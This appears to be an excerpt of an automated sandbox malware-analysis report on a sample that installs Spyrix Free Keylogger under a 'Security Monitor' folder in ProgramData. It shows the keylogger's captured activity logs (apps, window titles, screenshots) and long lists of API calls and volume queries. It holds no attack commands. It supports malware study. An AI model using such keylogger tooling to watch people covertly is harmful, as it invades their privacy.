Source: spkl.exe, 0000002E.00000002.3331600025.00000000065BD000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: t{"sTime":"2024-10-02 00:11:59.144","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 0000002E.00000003.2927923049.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3284697036.0000000000A84000.00000040.00000001.01000000.00000014.sdmp	Binary or memory string: @@DOF_PROGMAN
Source: spkl.exe, 0000002E.00000002.3325762768.000000000457B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: explorer.exe;Program Manager
Source: spkl.exe, 0000002E.00000003.3238566266.0000000001864000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:59.144","sdTime":"45567.0083234259","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}gsdza.mca"a"e
Source: spkl.exe, 0000002E.00000002.3334771164.0000000007030000.00000004.10000000.00040000.00000000.sdmp	Binary or memory string: {"keyboard":"","clipboard":"","url":"","app":"explorer.exe","title":"Program Manager","log":[{"sTime":"2024-10-02 00:11:34.839","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:11:47.567","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:11:47.567","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:11:50.394","sEvent":"SCREENSHOT","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:51.153","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","sUser":"user"},{"sTime":"2024-10-02 00:11:59.144","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}]}
Source: spkl.exe, 0000002E.00000002.3338648825.00000000076EF000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.000000000451B000.00000004.00001000.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3325762768.00000000044A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: {"sTime":"2024-10-02 00:11:59.144","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"}
Source: spkl.exe, 0000002E.00000002.3325762768.000000000451B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: [{"sTime":"2024-10-02 00:11:34.839","sEvent":"ACTIVITY","SValue":"Start of User Session","sUser":"user","Reserved6":"51"},{"sTime":"2024-10-02 00:11:47.567","sEvent":"APP","SApp":"chrome.exe","sTitle":"Dashboard - Google Chrome","sUser":"user"},{"sTime":"2024-10-02 00:11:47.567","sEvent":"PRG_RUN","SApp":"chrome.exe","sTitle":"Google Chrome","SValue":"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe","sUser":"user"},{"sTime":"2024-10-02 00:11:50.394","sEvent":"SCREENSHOT","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","SValue":"Window Change","sUser":"user","Reserved6":"31"},{"sTime":"2024-10-02 00:11:51.153","sEvent":"APP","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","sUser":"user"},{"sTime":"2024-10-02 00:11:59.144","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user"},{"sTime":"2024-10-02 00:12:00.988","sEvent":"SCREENSHOT","SApp":"spkl.exe","sTitle":"Spyrix Free Keylogger - Settings Wizard","SValue":"Window Change","sUser":"user","Reserved6":"31"}]
Source: spkl.exe, 0000002E.00000003.3252566323.0000000007294000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000003.3254496080.00000000071B9000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 0000002E.00000002.3335608738.00000000071BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: I2024-10-02 00:11:59.144{"sTime":"2024-10-02 00:11:59.144","sdTime":"45567.0083234259","sEvent":"APP","SApp":"explorer.exe","sTitle":"Program Manager","sUser":"user","SNode":"1-1"}
Source: spkl.exe, 0000002E.00000002.3331600025.000000000652A000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: sTitle":"Program Manager","sUser":"user"}

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 60_2_00F7EE90 cpuid

60_2_00F7EE90

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,	46_2_0040AD50
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	46_2_0040A298
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpy,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,	46_2_03354CB8
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: lstrcpy,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,lstrcpy,LoadLibraryExA,	46_2_03354D8A
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Code function: GetLocaleInfoA,	46_2_03359C9C

Source: C:\Users\user\Desktop\404.exe	Queries volume information: C:\Users\user\Desktop\404.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\404.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
